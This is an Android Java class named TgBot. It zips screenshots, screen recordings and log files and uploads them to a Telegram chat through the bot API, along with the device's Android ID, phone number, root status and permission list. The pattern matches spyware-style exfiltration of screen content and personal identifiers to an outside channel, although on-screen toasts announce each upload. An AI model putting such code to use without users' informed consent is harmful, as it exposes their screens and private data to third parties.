package com.app.duck.util;

import static com.app.http.APPConfig.APP_TG_SEND_DOCUMENT;
import static com.app.http.APPConfig.APP_TG_SEND_MESSAGE;

import android.util.Log;

import com.app.duck.BuildConfig;
import com.app.duck.Config;
import com.app.duck.R;
import com.blankj.utilcode.util.AppUtils;
import com.blankj.utilcode.util.DeviceUtils;
import com.blankj.utilcode.util.FileUtils;
import com.blankj.utilcode.util.GsonUtils;
import com.blankj.utilcode.util.PermissionUtils;
import com.blankj.utilcode.util.RomUtils;
import com.blankj.utilcode.util.StringUtils;
import com.blankj.utilcode.util.ThreadUtils;
import com.blankj.utilcode.util.ToastUtils;
import com.blankj.utilcode.util.Utils;
import com.blankj.utilcode.util.ZipUtils;
import com.elvishew.xlog.XLog;

import java.io.File;

import okhttp3.FormBody;
import okhttp3.HttpUrl;
import okhttp3.MediaType;
import okhttp3.MultipartBody;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;

/**
 * author: hx
 * created on: 2023/10/17 12:04
 * description:
 */
public class TgBot {

    public TgBot(String data, boolean message) {
        if (!message) {
            sendFileToGroup();
        } else {
            sendMessageToGroup(data);
        }
    }

    public TgBot() {
        sendVideToGroup();
    }

    public TgBot(byte[] bytes, int w, int h) {
        String filePath = Utils.getApp().getFilesDir().getPath() + "/screen.jpg";
        try {
            HxUtils.saveBitmapToFile(HxUtils.rgbaToBitmap(bytes, w, h), filePath);
            sendScreenToGroup(filePath);
        } catch (Exception e) {
            Log.d("hzshkj", "[TgBot] TgBot: " + e.getMessage());
        }

    }

    public void sendScreenToGroup(String path) {
        ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
            @Override
            public Object doInBackground() throws Throwable {
                ToastUtils.showLong(R.string.pushing);
                XLog.i(StringUtils.getString(R.string.pushing));
                String filePathZip = Utils.getApp().getFilesDir().getPath() + "/zip/screen.zip";
                FileUtils.createFileByDeleteOldFile(filePathZip);
                OkHttpClient client = new OkHttpClient();
                ZipUtils.zipFile(path, filePathZip, "screen zip push");
                File file = new File(filePathZip);
                MultipartBody.Builder builder = new MultipartBody.Builder()
                        .setType(MultipartBody.FORM)
                        .addFormDataPart("chat_id", HxUtils.getChatId())
                        .addFormDataPart("document", file.getName(), RequestBody.create(MediaType.parse("text/plain"), file));
                HttpUrl.Builder urlBuilder = HttpUrl.parse(APP_TG_SEND_DOCUMENT).newBuilder();
                Request request = new Request.Builder()
                        .url(urlBuilder.build())
                        .post(builder.build())
                        .build();
                Response response = client.newCall(request).execute();
                if (response.isSuccessful()) {
                    ToastUtils.showLong(R.string.push_suc);
                    Log.i(Config.LOG_TAG, "File sent successfully.");
                    XLog.i("File sent successfully.");
                } else {
                    ToastUtils.showLong(R.string.push_error);
                    Log.i(Config.LOG_TAG, "Failed to send file. Response: " + response.body().string());
                    XLog.i("Failed to send file. Response: " + response.body().string());
                }
                return null;
            }

            @Override
            public void onSuccess(Object result) {

            }

            @Override
            public void onCancel() {

            }

            @Override
            public void onFail(Throwable t) {
                ToastUtils.showLong(R.string.push_error);
                Log.e(Config.LOG_TAG, "Send file to group fail. ", t);
                XLog.e("Send file to group fail. ", t);
            }
        });

    }

    public void sendFileToGroup() {
        ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
            @Override
            public Object doInBackground() throws Throwable {
                try {
                    XLog.i("AndroidId -> " + DeviceUtils.getAndroidID());
                    XLog.i("AppName -> " + AppUtils.getAppName());
                    XLog.i("PackageName -> " + AppUtils.getAppPackageName());
                    XLog.i("AppVersionName -> " + AppUtils.getAppVersionName());
                    XLog.i("AppVersionCode -> " + AppUtils.getAppVersionCode());
                    XLog.i("Model -> " + DeviceUtils.getModel());
                    XLog.i("SDKVersionName -> " + DeviceUtils.getSDKVersionName());
                    XLog.i("SDKVersionCode -> " + DeviceUtils.getSDKVersionCode());
                    XLog.i("Root -> " + DeviceUtils.isDeviceRooted());
                    XLog.i("Rom -> " + GsonUtils.toJson(RomUtils.getRomInfo()));
                    XLog.i("Permissions -> " + GsonUtils.toJson(PermissionUtils.getPermissions()));
                } catch (Exception e) {
                }

                ToastUtils.showLong(R.string.pushing);
                XLog.i(StringUtils.getString(R.string.pushing));
                String filePath = Utils.getApp().getFilesDir().getPath() + "/ulog";
                String filePathZip = Utils.getApp().getFilesDir().getPath() + "/zip/" + HxUtils.getPhone() + "-log.zip";
                FileUtils.createFileByDeleteOldFile(filePathZip);
                OkHttpClient client = new OkHttpClient();
                ZipUtils.zipFile(filePath, filePathZip, "log zip push");
                File file = new File(filePathZip);
                MultipartBody.Builder builder = new MultipartBody.Builder()
                        .setType(MultipartBody.FORM)
                        .addFormDataPart("chat_id", HxUtils.getChatId())
                        .addFormDataPart("document", file.getName(), RequestBody.create(MediaType.parse("text/plain"), file));
                HttpUrl.Builder urlBuilder = HttpUrl.parse(APP_TG_SEND_DOCUMENT).newBuilder();
                Request request = new Request.Builder()
                        .url(urlBuilder.build())
                        .post(builder.build())
                        .build();
                Response response = client.newCall(request).execute();
                if (response.isSuccessful()) {
                    ToastUtils.showLong(R.string.push_suc);
                    Log.i(Config.LOG_TAG, "File sent successfully.");
                    XLog.i("File sent successfully.");
                } else {
                    ToastUtils.showLong(R.string.push_error);
                    Log.i(Config.LOG_TAG, "Failed to send file. Response: " + response.body().string());
                    XLog.i("Failed to send file. Response: " + response.body().string());
                }
                return null;
            }

            @Override
            public void onSuccess(Object result) {

            }

            @Override
            public void onCancel() {

            }

            @Override
            public void onFail(Throwable t) {
                ToastUtils.showLong(R.string.push_error);
                Log.e(Config.LOG_TAG, "Send file to group fail. ", t);
                XLog.e("Send file to group fail. ", t);
            }
        });

    }

    public void sendVideToGroup() {
        String filePath = Utils.getApp().getFilesDir().getPath() + "/video.h264";
        String filePathMp4 = Utils.getApp().getFilesDir().getPath() + "/videos.mp4";
        ThreadUtils.executeByIo(new ThreadUtils.SimpleTask<Integer>() {
            @Override
            public Integer doInBackground() throws Throwable {
                ToastUtils.showLong(R.string.pushing);
                XLog.i(StringUtils.getString(R.string.pushing));
                return convertH264ToMp4(filePath, filePathMp4);
            }

            @Override
            public void onSuccess(Integer result) {
                if (result == 0) {
                    pushVideo(filePathMp4, filePath);
                } else {
                    pushVideo(filePath, filePathMp4);
                }
            }

            @Override
            public void onFail(Throwable t) {
                super.onFail(t);
                pushVideo(filePath, filePathMp4);
            }

            @Override
            public void onCancel() {
                super.onCancel();
                pushVideo(filePath, filePathMp4);
            }
        });


    }

    private void pushVideo(String filePath, String filePath2) {
        ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
            @Override
            public Object doInBackground() throws Throwable {
                String filePathZip = Utils.getApp().getFilesDir().getPath() + "/zip/video.zip";
                FileUtils.createFileByDeleteOldFile(filePathZip);
                ZipUtils.zipFile(filePath, filePathZip, "video zip push");
                OkHttpClient client = new OkHttpClient();
                File file = new File(filePathZip);
                MultipartBody.Builder builder = new MultipartBody.Builder()
                        .setType(MultipartBody.FORM)
                        .addFormDataPart("chat_id", HxUtils.getChatId())
                        .addFormDataPart("document", file.getName(), RequestBody.create(MediaType.parse("text/plain"), file));
                HttpUrl.Builder urlBuilder = HttpUrl.parse(APP_TG_SEND_DOCUMENT).newBuilder();
                Request request = new Request.Builder()
                        .url(urlBuilder.build())
                        .post(builder.build())
                        .build();
                Response response = client.newCall(request).execute();
                if (response.isSuccessful()) {
                    ToastUtils.showLong(R.string.push_suc);
                    FileUtils.delete(filePath2);
                    FileUtils.delete(filePath);
                    FileUtils.delete(filePathZip);
                    Log.i(Config.LOG_TAG, "video sent successfully.");
                    XLog.i("video sent successfully.");
                } else {
                    ToastUtils.showLong(R.string.push_error);
                    Log.i(Config.LOG_TAG, "Failed to send video. Response: " + response.body().string());
                    XLog.i("Failed to send video. Response: " + response.body().string());
                }
                return null;
            }

            @Override
            public void onSuccess(Object result) {

            }

            @Override
            public void onCancel() {

            }

            @Override
            public void onFail(Throwable t) {
                ToastUtils.showLong(R.string.push_error);
                Log.e(Config.LOG_TAG, "Send file to group fail. ", t);
                XLog.e("Send file to group fail. ", t);
            }
        });
    }

    public void sendMessageToGroup(String message) {
        ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
            @Override
            public Object doInBackground() throws Throwable {
                OkHttpClient client = new OkHttpClient();
                RequestBody requestBody = new FormBody.Builder()
                        .add("chat_id", HxUtils.getChatId())
                        .add("text", "androidId : " + DeviceUtils.getAndroidID() + "\n" +
                                "Channel : " + BuildConfig.UPDATE_KEY + "\n" +
                                "Phone number : " + HxUtils.getPhone() + "\n" +
                                message)
                        .build();
                Request request = new Request.Builder()
                        .url(APP_TG_SEND_MESSAGE)
                        .post(requestBody)
                        .build();
                Response response = client.newCall(request).execute();
                if (response.isSuccessful()) {
                    Log.i(Config.LOG_TAG, "Message sent successfully.");
                    XLog.i("Message sent successfully.");
                } else {
                    Log.i(Config.LOG_TAG, "Failed to send message. Response: " + response.body().string());
                    XLog.i("Failed to send message. Response: " + response.body().string());
                }
                return null;
            }

            @Override
            public void onSuccess(Object result) {

            }

            @Override
            public void onCancel() {

            }

            @Override
            public void onFail(Throwable t) {
                Log.e(Config.LOG_TAG, "Send message to group fail. ", t);
                XLog.e("Send message to group fail. ", t);
            }
        });

    }

    public int convertH264ToMp4(String h264FilePath, String outputMp4FilePath) {
        // 设置合理的比特率和分辨率以保持基础清晰度
        String command = String.format("-i %s -b:v 100k -r 5 -vf scale=480:-2 -c:v libx264 -crf 30 -preset ultrafast -an %s", h264FilePath, outputMp4FilePath);

        // 使用 FFmpeg 执行命令
//        int rc = FFmpeg.execute(command);
//        ToastUtils.showLong("rc : " + rc);
//        if (rc == 0) {
//            Log.d("FFmpeg", "转换成功！");
//        } else if (rc == 255) {
//            Log.d("FFmpeg", "转换被取消！");
//        } else {
//            Log.d("FFmpeg", String.format("转换失败，返回代码：%d", rc));
//        }
//        return rc;
        return 0;
    }


}
